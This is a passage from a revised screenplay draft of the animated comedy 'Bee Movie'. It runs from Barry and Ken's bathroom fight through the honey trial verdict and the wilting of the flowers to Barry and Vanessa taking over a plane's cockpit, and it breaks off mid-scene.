are having a candle light dinner. Visible behind Barry is a “LITTLE MISSY” SET BOX, with the flaps open. BARRY Well, I just think that was awfully nice of that bear to pitch in like that. "Bee Movie" - JS REVISIONS 8/13/07 78. VANESSA I’m telling you, I think the jury’s on our side. BARRY Are we doing everything right...you know, legally? VANESSA I’m a florist. BARRY Right, right. Barry raises his glass. BARRY (CONT’D) Well, here’s to a great team. VANESSA To a great team. They toast. Ken ENTERS KEN Well hello. VANESSA Oh...Ken. BARRY Hello. VANESSA I didn’t think you were coming. KEN No, I was just late. I tried to call. But, (holding his cell phone) the battery... VANESSA I didn’t want all this to go to waste, so I called Barry. Luckily he was free. BARRY Yeah. KEN (gritting his teeth) Oh, that was lucky. "Bee Movie" - JS REVISIONS 8/13/07 79. VANESSA Well, there’s still a little left. I could heat it up. KEN Yeah, heat it up. Sure, whatever. Vanessa EXITS. Ken and Barry look at each other as Barry eats. BARRY So, I hear you’re quite a tennis player. I’m not much for the game myself. I find the ball a little grabby. KEN That’s where I usually sit. Right there. VANESSA (O.C) Ken, Barry was looking at your resume, and he agreed with me that “eating with chopsticks” isn’t really a special skill. KEN (to Barry) You think I don’t see what you’re doing? BARRY Hey look, I know how hard it is trying to find the right job. We certainly have that in common. KEN Do we? BARRY Well, bees have 100% employment, of course. But we do jobs like taking the crud out. KEN That’s just what I was thinking about doing. Ken holds his table knife up. It slips out of his hand. He goes under the table to pick it up. "Bee Movie" - JS REVISIONS 8/13/07 80. VANESSA Ken, I let Barry borrow your razor for his fuzz. I hope that was alright. Ken hits his head on the table. BARRY I’m going to go drain the old stinger. KEN Yeah, you do that. Barry EXITS to the bathroom, grabbing a small piece of a VARIETY MAGAZINE on the way. BARRY Oh, look at that. Ken slams the champagne down on the table. Ken closes his eyes and buries his face in his hands. He grabs a magazine on the way into the bathroom. SEQ. 2800 - “BARRY FIGHTS KEN” INT. BATHROOM - CONTINUOUS Ken ENTERS, closes the door behind him. He’s not happy. Barry is washing his hands. He glances back at Ken. KEN You know, I’ve just about had it with your little mind games. BARRY What’s that? KEN Italian Vogue. BARRY Mamma Mia, that’s a lot of pages. KEN It’s a lot of ads. BARRY Remember what Van said. Why is your life any more valuable than mine? "Bee Movie" - JS REVISIONS 8/13/07 81. KEN It’s funny, I just can’t seem to recall that! Ken WHACKS at Barry with the magazine. He misses and KNOCKS EVERYTHING OFF THE VANITY. Ken grabs a can of AIR FRESHENER. KEN (CONT'D) I think something stinks in here. He sprays at Barry. BARRY I love the smell of flowers. KEN Yeah? How do you like the smell of flames? Ken lights the stream. BARRY Not as much. Barry flies in a circle. Ken, trying to stay with him, spins in place. ANGLE ON: Flames outside the bathroom door. Ken slips on the Italian Vogue, falls backward into the shower, pulling down the shower curtain. The can hits him in the head, followed by the shower curtain rod, and the rubber duck. Ken reaches back, grabs the handheld shower head. He whips around, looking for Barry. ANGLE ON: A WATERBUG near the drain. WATERBUG Waterbug. Not taking sides. Barry is on the toilet tank. He comes out from behind a shampoo bottle, wearing a chapstick cap as a helmet. BARRY Ken, look at me! I’m wearing a chapstick hat. This is pathetic. ANGLE ON: Ken turning the hand shower nozzle from “GENTLE”, to “TURBO”, to “LETHAL”. "Bee Movie" - JS REVISIONS 8/13/07 82. KEN I’ve got issues! Ken fires the water at Barry, knocking him into the toilet. The items from the vanity (emory board, lipstick, eye curler, etc.) are on the toilet seat. Ken looks down at Barry. KEN (CONT'D) Well well well, a royal flush. BARRY You’re bluffing. KEN Am I? Ken flushes the toilet. Barry grabs the Emory board and uses it to surf. He puts his hand in the water while he’s surfing. Some water splashes on Ken. BARRY Surf’s up, dude! KEN Awww, poo water! He does some skate board-style half-pipe riding. Barry surfs out of the toilet. BARRY That bowl is gnarly. Ken tries to get a shot at him with the toilet brush. KEN Except for those dirty yellow rings. Vanessa ENTERS. VANESSA Kenneth! What are you doing? KEN You know what? I don’t even like honey! I don’t eat it! VANESSA We need to talk! "Bee Movie" - JS REVISIONS 8/13/07 83. She pulls Ken out by his ear. Ken glares at Barry. CUT TO: INT. HALLWAY - CONTINUOUS VANESSA He’s just a little bee. And he happens to be the nicest bee I’ve met in a long time. KEN Long time? What are you talking about? Are there other bugs in your life? VANESSA No, but there are other things bugging me in life. And you’re one of them! KEN Fine! Talking bees, no yogurt night...my nerves are fried from riding on this emotional rollercoaster. VANESSA Goodbye, Ken. KEN Augh! VANESSA Whew! Ken EXITS, then re-enters frame. KEN And for your information, I prefer sugar-free, artificial sweeteners, made by man! He EXITS again. The DOOR SLAMS behind him. VANESSA (to Barry) I’m sorry about all that. Ken RE-ENTERS. "Bee Movie" - JS REVISIONS 8/13/07 84. KEN I know it’s got an aftertaste! I like it! BARRY (re: Ken) I always felt there was some kind of barrier between Ken and me. (puts his hands in his pockets) I couldn’t overcome it. Oh well. VANESSA Are you going to be okay for the trial tomorrow? BARRY Oh, I believe Mr. Montgomery is about out of ideas. CUT TO: SEQ. 3300 - “ADAM STINGS MONTY” INT. COURTROOM - NEXT DAY ANGLE ON: Medium shot of Montgomery standing at his table. MONTGOMERY We would like to call Mr. Barry Benson Bee to the stand. ADAM (whispering to Vanessa) Now that’s a good idea. (to Barry) You can really see why he’s considered one of the very best lawyers-- Oh. Barry rolls his eyes. He gets up, takes the stand. A juror in a striped shirt APPLAUDS. MR. GAMMIL (whispering) Layton, you’ve got to weave some magic with this jury, or it’s going to be all over. Montgomery is holding a BOOK, “The Secret Life of Bees”. "Bee Movie" - JS REVISIONS 8/13/07 85. MONTGOMERY (confidently whispering) Oh, don’t worry Mr. Gammil. The only thing I have to do to turn this jury around is to remind them of what they don’t like about bees. (to Gammil) You got the tweezers? Mr. Gammil NODS, and pats his breast pocket. MR. GAMMIL Are you allergic? MONTGOMERY Only to losing, son. Only to losing. Montgomery approaches the stand. MONTGOMERY (CONT’D) Mr. Benson Bee. I’ll ask you what I think we’d all like to know. What exactly is your relationship to that woman? Montgomery points to Vanessa. BARRY We’re friends. MONTGOMERY Good friends? BARRY Yes. MONTGOMERY (softly in Barry’s face) How good? BARRY What? MONTGOMERY Do you live together? BARRY Wait a minute, this isn’t about-- "Bee Movie" - JS REVISIONS 8/13/07 86. MONTGOMERY Are you her little... (clearing throat) ... bed bug? BARRY (flustered) Hey, that’s not the kind of-- MONTGOMERY I’ve seen a bee documentary or two. Now, from what I understand, doesn’t your Queen give birth to all the bee children in the hive? BARRY Yeah, but-- MONTGOMERY So those aren’t even your real parents! ANGLE ON: Barry’s parents. MARTIN BENSON Oh, Barry. BARRY Yes they are! ADAM Hold me back! Vanessa holds him back with a COFFEE STIRRER. Montgomery points to Barry’s parents. MONTGOMERY You’re an illegitimate bee, aren’t you Benson? ADAM He’s denouncing bees! All the bees in the courtroom start to HUM. They’re agitated. MONTGOMERY And don’t y’all date your cousins? "Bee Movie" - JS REVISIONS 8/13/07 87. VANESSA (standing, letting go of Adam) Objection! Adam explodes from the table and flies towards Montgomery. ADAM I’m going to pin cushion this guy! Montgomery turns around and positions himself by the judge’s bench. He sticks his butt out. Montgomery winks at his team. BARRY Adam, don’t! It’s what he wants! Adam shoves Barry out of the way. Adam STINGS Montgomery in the butt. The jury REACTS, aghast. MONTGOMERY Ow! I’m hit! Oh, lordy, I am hit! The judge BANGS her gavel. JUDGE Order! Order! Please, Mr. Montgomery. MONTGOMERY The venom! The venom is coursing through my veins! I have been felled by a wing-ed beast of destruction. You see? You can’t treat them like equals. They’re strip-ed savages! Stinging’s the only thing they know! It’s their way! ANGLE ON: Adam, collapsed on the floor. Barry rushes to his side. BARRY Adam, stay with me. ADAM I can’t feel my legs. Montgomery falls on the Bailiff. BAILIFF Take it easy. "Bee Movie" - JS REVISIONS 8/13/07 88. MONTGOMERY Oh, what angel of mercy will come forward to suck the poison from my heaving buttocks? The JURY recoils. JUDGE Please, I will have order in this court. Order! Order, please! FADE TO: SEQ. 3400 - “ADAM AT HOSPITAL” INT. HOSPITAL - STREET LEVEL ROOM - DAY PRESS PERSON #1 (V.O) The case of the honey bees versus the human race took a pointed turn against the bees yesterday, when one of their legal team stung Layton T. Montgomery. Now here’s Don with the 5-day. A NURSE lets Barry into the room. Barry CARRIES a FLOWER. BARRY Thank you. Barry stands over Adam, in a bed. Barry lays the flower down next to him. The TV is on. BARRY (CONT'D) Hey buddy. ADAM Hey. BARRY Is there much pain? Adam has a BEE-SIZED PAINKILLER HONEY BUTTON near his head that he presses. ADAM (pressing the button) Yeah...I blew the whole case, didn’t I? "Bee Movie" - JS REVISIONS 8/13/07 89. BARRY Oh, it doesn’t matter. The important thing is you’re alive. You could have died. ADAM I’d be better off dead. Look at me. Adam THROWS the blanket off his lap, revealing a GREEN SANDWICH SWORD STINGER. ADAM (CONT’D) (voice cracking) They got it from the cafeteria, they got it from downstairs. In a tuna sandwich. Look, there’s a little celery still on it. BARRY What was it like to sting someone? ADAM I can’t explain it. It was all adrenaline...and then...ecstasy. Barry looks at Adam. BARRY Alright. ADAM You think that was all a trap? BARRY Of course. I’m sorry. I flew us right into this. What were we thinking? Look at us, we’re just a couple of bugs in this world. ADAM What do you think the humans will do to us if they win? BARRY I don’t know. ADAM I hear they put the roaches in motels. That doesn’t sound so bad. "Bee Movie" - JS REVISIONS 8/13/07 90. BARRY Adam, they check in, but they don’t check out. Adam GULPS. ADAM Oh my. ANGLE ON: the hospital window. We see THREE PEOPLE smoking outside on the sidewalk. The smoke drifts in. Adam COUGHS. ADAM (CONT’D) Say, could you get a nurse to close that window? BARRY Why? ADAM The smoke. Bees don’t smoke. BARRY Right. Bees don’t smoke. Bees don’t smoke! But some bees are smoking. Adam, that’s it! That’s our case. Adam starts putting his clothes on. ADAM It is? It’s not over? BARRY No. Get up. Get dressed. I’ve got to go somewhere. You get back the court and stall. Stall anyway you can. CUT TO: SEQ. 3500 - “SMOKING GUN” INT. COURTROOM - THE NEXT DAY Adam is folding a piece of paper into a boat. ADAM ...and assuming you’ve done step 29 correctly, you’re ready for the tub. "Bee Movie" - JS REVISIONS 8/13/07 91. ANGLE ON: The jury, all with paper boats of their own. JURORS Ooh. ANGLE ON: Montgomery frustrated with Gammil, who’s making a boat also. Monty crumples Gammil’s boat, and throws it at him. JUDGE Mr. Flayman? ADAM Yes? Yes, Your Honor? JUDGE Where is the rest of your team? ADAM (fumbling with his swordstinger) Well, your honor, it’s interesting. You know Bees are trained to fly kind of haphazardly and as a result quite often we don’t make very good time. I actually once heard a pretty funny story about a bee-- MONTGOMERY Your Honor, haven’t these ridiculous bugs taken up enough of this court’s valuable time? Montgomery rolls out from behind his table. He’s suspended in a LARGE BABY CHAIR with wheels. MONTGOMERY (CONT'D) How much longer are we going to allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients who have all run perfectly legitimate businesses. I move for a complete dismissal of this entire case. JUDGE Mr. Flayman, I am afraid I am going to have to consider Mr. Montgomery’s motion. "Bee Movie" - JS REVISIONS 8/13/07 92. ADAM But you can’t. We have a terrific case. MONTGOMERY Where is your proof? Where is the evidence? Show me the smoking gun. Barry bursts through the door. BARRY Hold it, your honor. You want a smoking gun? Here is your smoking gun. Vanessa ENTERS, holding a bee smoker Vanessa slams the beekeeper's SMOKER onto the judge’s bench. JUDGE What is that? BARRY It’s a Bee smoker. Montgomery GRABS the smoker. MONTGOMERY What, this? This harmless little contraption? This couldn’t hurt a fly, let alone a bee. He unintentionally points it towards the bee gallery, KNOCKING THEM ALL OUT. The jury GASPS. The press SNAPS pictures of them. BARRY Members of the jury, look at what has happened to bees who have never been asked, "Smoking or Non?" Is this what nature intended for us? To be forcibly addicted to these smoke machines in man-made wooden slat work camps? Living out our lives as honey slaves to the white man? Barry gestures dramatically towards Montgomery's racially mixed table. The BLACK LAWYER slowly moves his chair away. GAMMIL What are we going to do? "Bee Movie" - JS REVISIONS 8/13/07 93. MONTGOMERY (to Pross) He's playing the species card. Barry lands on the scale of justice, by the judge’s bench. It balances as he lands. BARRY Ladies and gentlemen, please, FreeThese-Bees! ANGLE ON: Jury, chanting "Free the bees". JUDGE The court finds in favor of the bees. The chaos continues. Barry flies over to Vanessa, with his hand up for a “high 5”. BARRY Vanessa, we won! VANESSA Yay! I knew you could do it. Highfive! She high 5’s Barry, sending him crashing to the table. He bounces right back up. VANESSA (CONT'D) Oh, sorry. BARRY Ow!! I’m okay. Vanessa, do you know what this means? All the honey is finally going to belong to the bees. Now we won’t have to work so hard all the time. Montgomery approaches Barry, surrounded by the press. The cameras and microphones go to Montgomery. MONTGOMERY (waving a finger) This is an unholy perversion of the balance of nature, Benson! You’ll regret this. ANGLE ON: Barry’s ‘deer in headlights’ expression, as the press pushes microphones in his face. "Bee Movie" - JS REVISIONS 8/13/07 94. PRESS PERSON 1 Barry, how much honey do you think is out there? BARRY Alright, alright, one at a time... SARAH Barry, who are you wearing? BARRY Uhhh, my sweater is Ralph Lauren, and I have no pants. The Press follows Barry as he EXITS. ANGLE ON: Adam and Vanessa. ADAM (putting papers away) What if Montgomery’s right? VANESSA What do you mean? ADAM We’ve been living the bee way a long time. 27 million years. DISSOLVE TO: SEQ. 3600 - “HONEY ROUNDUP” EXT. HONEY FARMS APIARY - MONTAGE SARAH (V.O) Congratulations on your victory. What are you going to demand as a settlement? BARRY (V.O) (over montage) First, we’re going to demand a complete shutdown of all bee work camps. Then, we want to get back all the honey that was ours to begin with. Every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, big-headed, bad breath, stink-machine. "Bee Movie" - JS REVISIONS 8/13/07 95. I believe we’re all aware of what they do in the woods. We will no longer tolerate derogatory beenegative nick-names, unnecessary inclusion of honey in bogus health products, and la-dee-da tea-time human snack garnishments. MONTAGE IMAGES: Close-up on an ATF JACKET, with the YELLOW LETTERS. Camera pulls back. We see an ARMY OF BEE AND HUMAN AGENTS wearing hastily made “Alcohol, Tobacco, Firearms, and Honey” jackets. Barry supervises. The gate to Honey Farms is locked permanently. All the smokers are collected and locked up. All the bees leave the Apiary. CUT TO: EXT. ATF OUTSIDE OF SUPERMARKET - MONTAGE Agents begin YANKING honey off the supermarket shelves, and out of shopping baskets. CUT TO: EXT. NEW HIVE CITY - MONTAGE The bees tear down a honey-bear statue. CUT TO: EXT. YELLOWSTONE FOREST - MONTAGE POV of a sniper’s crosshairs. An animated BEAR character looka-like, turns his head towards camera. BARRY Wait for my signal. ANGLE ON: Barry lowering his binoculars. BARRY (CONT'D) Take him out. The sniper SHOOTS the bear. It hits him in the shoulder. The bear looks at it. He gets woozy and the honey jar falls out of his lap, an ATF&H agent catches it. "Bee Movie" - JS REVISIONS 8/13/07 96. BARRY (V.O) (CONT'D) ATF&H AGENT (to the bear’s pig friend) He’ll have a little nausea for a few hours, then he’ll be fine. CUT TO: EXT. STING’S HOUSE - MONTAGE ATF&H agents SLAP CUFFS on Sting, who is meditating. STING But it’s just a prance-about stage name! CUT TO: INT. A WOMAN’S SHOWER - MONTAGE A WOMAN is taking a shower, and using honey shampoo. An ATF&H agent pulls the shower curtain aside, and grabs her bottle of shampoo. The woman SCREAMS. The agent turns to the 3 other agents, and Barry. ANGLE ON: Barry looking at the label on the shampoo bottle, shaking his head and writing in his clipboard. CUT TO: EXT. SUPERMARKET CAFE - MONTAGE Another customer, an old lady having her tea with a little jar of honey, gets her face pushed down onto the table and turned to the side by two agents. One of the agents has a gun on her. OLD LADY Can’t breathe. CUT TO: EXT. CENTRAL PARK - MONTAGE An OIL DRUM of honey is connected to Barry’s hive. "Bee Movie" - JS REVISIONS 8/13/07 97. BARRY Bring it in, boys. CUT TO: SEQ. 3650 - “NO MORE WORK” INT. HONEX - MONTAGE ANGLE ON: The honey goes past the 3-cup hash-mark, and begins to overflow. A WORKER BEE runs up to Buzzwell. WORKER BEE 1 Mr. Buzzwell, we just passed 3 cups, and there’s gallons mores coming. I think we need to shutdown. KEYCHAIN BEE (to Buzzwell) Shutdown? We’ve never shutdown. ANGLE ON: Buzzwell overlooking the factory floor. BUZZWELL Shutdown honey production! Stop making honey! ANGLE ON: TWO BEES, each with a KEY. BUZZWELL (CONT’D) Turn your key, Sir! They turn the keys simultaneously, War Games-style, shutting down the honey machines. ANGLE ON: the Taffy-Pull machine, Centrifuge, and Krelman all slowly come to a stop. The bees look around, bewildered. WORKER BEE 5 What do we do now? A BEAT. WORKER BEE 6 Cannon ball!! He jumps into a HONEY VAT, doesn’t penetrate the surface. He looks around, and slowly sinks down to his waist. "Bee Movie" - JS REVISIONS 8/13/07 98. EXT. HONEX FACTORY THE WHISTLE BLOWS, and the bees all stream out the exit. CUT TO: INT. J-GATE - CONTINUOUS Lou Loduca gives orders to the pollen jocks. LOU LODUCA We’re shutting down honey production. Mission abort. CUT TO: EXT. CENTRAL PARK Jackson receives the orders, mid-pollination. JACKSON Aborting pollination and nectar detail. Returning to base. CUT TO: EXT. NEW HIVE CITY ANGLE ON: Bees, putting sun-tan lotion on their noses and antennae, and sunning themselves on the balconies of the gyms. CUT TO: EXT. CENTRAL PARK ANGLE ON: THE FLOWERS starting to DROOP. CUT TO: INT. J-GATE J-Gate is deserted. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 99. EXT. NEW HIVE CITY ANGLE ON: Bees sunning themselves. A TIMER DINGS, and they all turn over. CUT TO: EXT. CENTRAL PARK TIME LAPSE of Central Park turning brown. CUT TO: EXT. VANESSA’S FLORIST SHOP CLOSE-UP SHOT: Vanessa writes “Sorry. No more flowers.” on a “Closed” sign, an turns it facing out. CUT TO: SEQ. 3700 - “IDLE HIVE” EXT. NEW HIVE CITY - DAY Barry flies at high speed. TRACKING SHOT into the hive, through the lobby of Honex, and into Adam’s office. CUT TO: INT. ADAM’S OFFICE - CONTINUOUS Barry meets Adam in his office. Adam’s office is in disarray. There are papers everywhere. He’s filling up his cardboard hexagon box. BARRY (out of breath) Adam, you wouldn’t believe how much honey was out there. ADAM Oh yeah? BARRY What’s going on around here? Where is everybody? Are they out celebrating? "Bee Movie" - JS REVISIONS 8/13/07 100. ADAM (exiting with a cardboard box of belongings) No, they’re just home. They don’t know what to do. BARRY Hmmm. ADAM They’re laying out, they’re sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. BARRY At least we got our honey back. They walk through the empty factory. ADAM Yeah, but sometimes I think, so what if the humans liked our honey? Who wouldn’t? It’s the greatest thing in the world. I was excited to be a part of making it. ANGLE ON: Adam’s desk on it’s side in the hall. ADAM (CONT’D) This was my new desk. This was my new job. I wanted to do it really well. And now...and now I can’t. Adam EXITS. CUT TO: SEQ. 3900 - “WORLD WITHOUT BEES” INT. STAIRWELL Vanessa and Barry are walking up the stairs to the roof. BARRY I don’t understand why they’re not happy. We have so much now. I thought their lives would be better. "Bee Movie" - JS REVISIONS 8/13/07 101. VANESSA Hmmm. BARRY They’re doing nothing. It’s amazing, honey really changes people. VANESSA You don’t have any idea what’s going on, do you? BARRY What did you want to show me? VANESSA This. They reach the top of the stairs. Vanessa opens the door. CUT TO: EXT. VANESSA’S ROOFTOP - CONTINUOUS Barry sees Vanessa’s flower pots and small garden have all turned brown. BARRY What happened here? VANESSA That is not the half of it... Vanessa turns Barry around with her two fingers, revealing the view of Central Park, which is also all brown. BARRY Oh no. Oh my. They’re all wilting. VANESSA Doesn’t look very good, does it? BARRY No. VANESSA And who’s fault do you think that is? "Bee Movie" - JS REVISIONS 8/13/07 102. BARRY Mmmm...you know, I’m going to guess, bees. VANESSA Bees? BARRY Specifically me. I guess I didn’t think that bees not needing to make honey would affect all these other things. VANESSA And it’s not just flowers. Fruits, vegetables...they all need bees. BARRY Well, that’s our whole SAT test right there. VANESSA So, you take away the produce, that affects the entire animal kingdom. And then, of course... BARRY The human species? VANESSA (clearing throat) Ahem! BARRY Oh. So, if there’s no more pollination, it could all just go south here, couldn’t it? VANESSA And I know this is also partly my fault. Barry takes a long SIGH. BARRY How about a suicide pact? VANESSA (not sure if he’s joking) How would we do it? BARRY I’ll sting you, you step on me. "Bee Movie" - JS REVISIONS 8/13/07 103. VANESSA That just kills you twice. BARRY Right, right. VANESSA Listen Barry. Sorry but I’ve got to get going. She EXITS. BARRY (looking out over the park) Had to open my mouth and talk... (looking back) Vanessa..? Vanessa is gone. CUT TO: SEQ. 3935 - “GOING TO PASADENA” EXT. NY STREET - CONTINUOUS Vanessa gets into a cab. Barry ENTERS. BARRY Vanessa. Why are you leaving? Where are you going? VANESSA To the final Tournament of Roses parade in Pasadena. They moved it up to this weekend because all the flowers are dying. It’s the last chance I’ll ever have to see it. BARRY Vanessa, I just want to say I’m sorry. I never meant it to turn out like this. VANESSA I know. Me neither. Vanessa cab drives away. "Bee Movie" - JS REVISIONS 8/13/07 104. BARRY (chuckling to himself) Tournament of Roses. Roses can’t do sports. Wait a minute...roses. Roses? Roses!? Vanessa! Barry follows shortly after. He catches up to it, and he pounds on the window. Barry follows shortly after Vanessa’s cab. He catches up to it, and he pounds on the window. INT. TAXI - CONTINUOUS Barry motions for her to roll the window down. She does so. BARRY Roses?! VANESSA Barry? BARRY (as he flies next to the cab) Roses are flowers. VANESSA Yes, they are. BARRY Flowers, bees, pollen! VANESSA I know. That’s why this is the last parade. BARRY Maybe not. The cab starts pulling ahead of Barry. BARRY (CONT'D) (re: driver) Could you ask him to slow down? VANESSA Could you slow down? The cabs slows. Barry flies in the window, and lands in the change box, which closes on him. "Bee Movie" - JS REVISIONS 8/13/07 105. VANESSA (CONT'D) Barry! Vanessa lets him out. Barry stands on the change box, in front of the driver’s license. BARRY Okay, I made a huge mistake! This is a total disaster, and it’s all my fault! VANESSA Yes, it kind of is. BARRY I’ve ruined the planet. And, I wanted to help with your flower shop. Instead, I’ve made it worse. VANESSA Actually, it’s completely closed down. BARRY Oh, I thought maybe you were remodeling. Nonetheless, I have another idea. And it’s greater than all my previous great ideas combined. VANESSA I don’t want to hear it. Vanessa closes the change box on Barry. BARRY (opening it again) Alright, here’s what I’m thinking. They have the roses, the roses have the pollen. I know every bee, plant, and flower bud in this park. All we’ve got to do is get what they’ve got back here with what we’ve got. VANESSA Bees... BARRY Park... VANESSA Pollen... "Bee Movie" - JS REVISIONS 8/13/07 106. BARRY Flowers... VANESSA Repollination! BARRY (on luggage handle, going up) Across the nation! CUT TO: SEQ. 3950 - “ROSE PARADE” EXT. PASADENA PARADE BARRY (V.O) Alright. Tournament of Roses. Pasadena, California. They’ve got nothing but flowers, floats, and cotton candy. Security will be tight. VANESSA I have an idea. CUT TO: EXT. FLOAT STAGING AREA ANGLE ON: Barry and Vanessa approaching a HEAVILY ARMED GUARD in front of the staging area. VANESSA Vanessa Bloome, FTD. Official floral business. He leans in to look at her badge. She SNAPS IT SHUT, VANESSA (CONT’D) Oh, it’s real. HEAVILY ARMED GUARD Sorry ma’am. That’s a nice brooch, by the way. VANESSA Thank you. It was a gift. "Bee Movie" - JS REVISIONS 8/13/07 107. They ENTER the staging area. BARRY (V.O) Then, once we’re inside, we just pick the right float. VANESSA How about the Princess and the Pea? BARRY Yeah. VANESSA I can be the princess, and-- BARRY ...yes, I think-- VANESSA You could be-- BARRY I’ve-- VANESSA The pea. BARRY Got it. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER Barry, dressed as a PEA, flies up and hovers in front of the princess on the “Princess and the Pea” float. The float is sponsored by Inflat-a-bed and a SIGN READS: “Inflat-a-bed: If it blows, it’s ours.” BARRY Sorry I’m late. Where should I sit? PRINCESS What are you? BARRY I believe I’m the pea. PRINCESS The pea? It’s supposed to be under the mattresses. "Bee Movie" - JS REVISIONS 8/13/07 108. BARRY Not in this fairy tale, sweetheart. PRINCESS I’m going to go talk to the marshall. BARRY You do that. This whole parade is a fiasco! She EXITS. Vanessa removes the step-ladder. The princess FALLS. Barry and Vanessa take off in the float. BARRY (CONT’D) Let’s see what this baby will do. ANGLE ON: Guy with headset talking to drivers. HEADSET GUY Hey! The float ZOOMS by. A young CHILD in the stands, TIMMY, cries. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER ANGLE ON: Vanessa putting the princess hat on. BARRY (V.O) Then all we do is blend in with traffic, without arousing suspicion. CUT TO: EXT. THE PARADE ROUTE - CONTINUOUS The floats go flying by the crowds. Barry and Vanessa’s float CRASHES through the fence. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 109. EXT. LA FREEWAY Vanessa and Barry speed, dodging and weaving, down the freeway. BARRY (V.O) And once we’re at the airport, there’s no stopping us. CUT TO: EXT. LAX AIRPORT Barry and Vanessa pull up to the curb, in front of an TSA AGENT WITH CLIPBOARD. TSA AGENT Stop. Security. Did you and your insect pack your own float? VANESSA (O.C) Yes. TSA AGENT Has this float been in your possession the entire time? VANESSA (O.C) Since the parade...yes. ANGLE ON: Barry holding his shoes. TSA AGENT Would you remove your shoes and everything in your pockets? Can you remove your stinger, Sir? BARRY That’s part of me. TSA AGENT I know. Just having some fun. Enjoy your flight. CUT TO: EXT. RUNWAY Barry and Vanessa’s airplane TAKES OFF. "Bee Movie" - JS REVISIONS 8/13/07 110. BARRY (O.C) Then, if we’re lucky, we’ll have just enough pollen to do the job. DISSOLVE TO: SEQ. 4025 - “COCKPIT FIGHT” INT. AIRPLANE Vanessa is on the aisle. Barry is on a laptop calculating flowers, pollen, number of bees, airspeed, etc. He does a “Stomp” dance on the keyboard. BARRY Can you believe how lucky we are? We have just enough pollen to do the job. I think this is going to work, Vanessa. VANESSA It’s got to work. PILOT (V.O) Attention passengers. This is Captain Scott. I’m afraid we have a bit of bad weather in the New York area. And looks like we’re going to be experiencing a couple of hours delay. VANESSA Barry, these are cut flowers with no water. They’ll never make it. BARRY I’ve got to get up there and talk to these guys. VANESSA Be careful. Barry flies up to the cockpit door. CUT TO: INT. COCKPIT - CONTINUOUS A female flight attendant, ANGELA, is in the cockpit with the pilots. "Bee Movie" - JS REVISIONS 8/13/07 111. There’s a KNOCK at the door. BARRY (C.O) Hey, can I get some help with this Sky Mall Magazine? I’d like to order the talking inflatable travel pool filter. ANGELA (to the pilots, irritated) Excuse me. CUT TO: EXT. CABIN - CONTINUOUS Angela opens the cockpit door and looks around. She doesn’t see anybody. ANGLE ON: Barry hidden on the yellow and black “caution” stripe. As Angela looks around, Barry zips into the cockpit. CUT TO: INT. COCKPIT BARRY Excuse me, Captain. I am in a real situation here... PILOT (pulling an earphone back, to the co-pilot) What did you say, Hal? CO-PILOT I didn’t say anything. PILOT (he sees Barry) Ahhh! Bee! BARRY No, no! Don’t freak out! There’s a chance my entire species-- CO-PILOT (taking off his earphones) Ahhh! "Bee Movie" - JS REVISIONS 8/13/07 112. The pilot grabs a “DUSTBUSTER” vacuum cleaner. He aims it around trying to vacuum up Barry. The co-pilot faces camera, as the pilot tries to suck Barry up. Barry is on the other side of the co-pilot. As they dosey-do, the toupee of the co-pilot begins to come up, still attached to the front. CO-PILOT (CONT'D) What are you doing? Stop! The toupee comes off the co-pilot’s head, and sticks in the Dustbuster. Barry runs across the bald head. BARRY Wait a minute! I’m an attorney! CO-PILOT Who’s an attorney? PILOT Don’t move. The pilot uses the Dustbuster to try and mash Barry, who is hovering in front of the co-pilot’s nose, and knocks out the co-pilot who falls out of his chair, hitting the life raft release button. The life raft inflates, hitting the pilot, knocking him into a wall and out cold. Barry surveys the situation. BARRY Oh, Barry. CUT TO: INT. AIRPLANE CABIN Vanessa studies her laptop, looking serious. SFX: PA CRACKLE. BARRY (V.O) (in captain voice) Good afternoon passengers, this is your captain speaking. Would a Miss Vanessa Bloome in 24F please report to the cockpit. And please hurry! "Bee Movie" - JS REVISIONS 8/13/07 113. ANGLE ON: The aisle, and Vanessa head popping up. CUT TO: INT. COCKPIT Vanessa ENTERS. VANESSA What happened here? BARRY I tried to talk to them, but then there was a Dustbuster, a toupee, a life raft exploded...Now one’s bald, one’s in a boat, and they’re both unconscious. VANESSA Is that another bee joke? BARRY No. No one’s flying the plane. The AIR TRAFFIC CONTROLLER, BUD, speaks over the radio. BUD This is JFK control tower. Flight 356, what’s your status? Vanessa presses a button, and the intercom comes on. VANESSA This is Vanessa Bloome. I’m a florist from New York. BUD Where’s the pilot? VANESSA He’s unconscious and so is the copilot. BUD Not good. Is there anyone onboard who has flight experience? A BEAT. BARRY As a matter of fact, there is. "Bee Movie" - JS REVISIONS 8/13/07 114. BUD Who’s that? VANESSA Barry Benson. BUD From the honey trial? Oh great. BARRY Vanessa, this is nothing more than a big metal bee. It’s got giant wings, huge engines. VANESSA I can’t fly a plane. BARRY Why not? Isn’t John Travolta a pilot? VANESSA Yes? BARRY How hard could it be? VANESSA Wait a minute. Barry, we’re headed into some lightning. CUT TO: Vanessa shrugs, and takes the controls. SEQ. 4150 - “BARRY FLIES PLANE” INT. BENSON HOUSE The family is all huddled around the TV at the Benson house. ANGLE ON: TV. Bob Bumble is broadcasting. BOB BUMBLE This is Bob Bumble. We have some late-breaking news from JFK airport, where a very suspenseful scene is developing. Barry Benson, fresh off his stunning legal victory... "Bee Movie" - JS REVISIONS 8/13/07 115. Adam SPRAYS a can of HONEY-WHIP into his mouth. ADAM That’s Barry. BOB BUMBLE ...is now attempting to land a plane, loaded with people, flowers, and an incapacitated flight crew. EVERYONE Flowers?! CUT TO: INT. AIR TRAFFIC CONTROL TOWER BUD Well, we have an electrical storm in the area, and two individuals at the controls of a jumbo jet with absolutely no flight experience. JEANETTE CHUNG Just a minute, Mr. Ditchwater, there’s a honey bee on that plane. BUD Oh, I’m quite familiar with Mr. Benson’s work, and his no-account compadres. Haven’t they done enough damage already? JEANETTE CHUNG But isn’t he your only hope right now? BUD Come on, technically a bee shouldn’t be able to fly at all. CUT TO: INT. COCKPIT. Barry REACTS BUD The wings are too small, their bodies are too big-- "Bee Movie" - JS REVISIONS 8/13/07 116. BARRY (over PA) Hey, hold on a second. Haven’t we heard this million times? The surface area of the wings, and the body mass doesn’t make sense? JEANETTE CHUNG Get this on the 